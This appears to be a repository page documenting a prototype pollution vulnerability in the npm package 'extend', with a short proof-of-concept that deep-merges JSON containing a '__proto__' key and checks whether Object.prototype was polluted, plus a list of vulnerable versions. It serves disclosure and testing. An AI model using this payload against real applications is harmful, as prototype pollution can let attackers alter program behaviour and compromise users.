Skip to content

Latest commit

 

History

History
16 lines (10 loc) · 353 Bytes

File metadata and controls

16 lines (10 loc) · 353 Bytes

extend

Port of jQuery.extend for node.js and the browser

Latest version: 3.0.2

Exploits

const extend = require('extend');

extend(true, {}, JSON.parse('{"__proto__": {"a": "b"}}'));
if (({}).a === 'b') console.log('exploitable');

Vulnerable versions: 1.1.3 1.2.0 1.2.1 1.3.0 2.0.0 2.0.1 3.0.0 3.0.1